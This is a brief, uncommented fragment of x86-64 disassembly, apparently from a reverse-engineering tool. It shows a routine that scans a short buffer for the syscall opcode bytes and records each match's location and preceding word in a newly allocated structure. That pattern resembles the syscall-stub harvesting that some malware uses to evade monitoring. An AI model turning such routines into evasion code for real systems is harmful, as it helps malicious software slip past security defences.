add rax, 1
cmp rax, 0x20
je 0x1400018b0
cmp byte [rbx + rax], 0xf
jne 0x140001980
cmp byte [rbx + rax + 1], 5
jne 0x140001980
movzx edx, word [rbx + rax - 2]
test dx, dx
je 0x1400018b0
mov ecx, 0x10
mov dword [rsp + 0x28], edx
call fcn.140108230
mov edx, dword [rsp + 0x28]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov word [rax + 0xc], dx
jmp 0x1400019d2
xor eax, eax
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret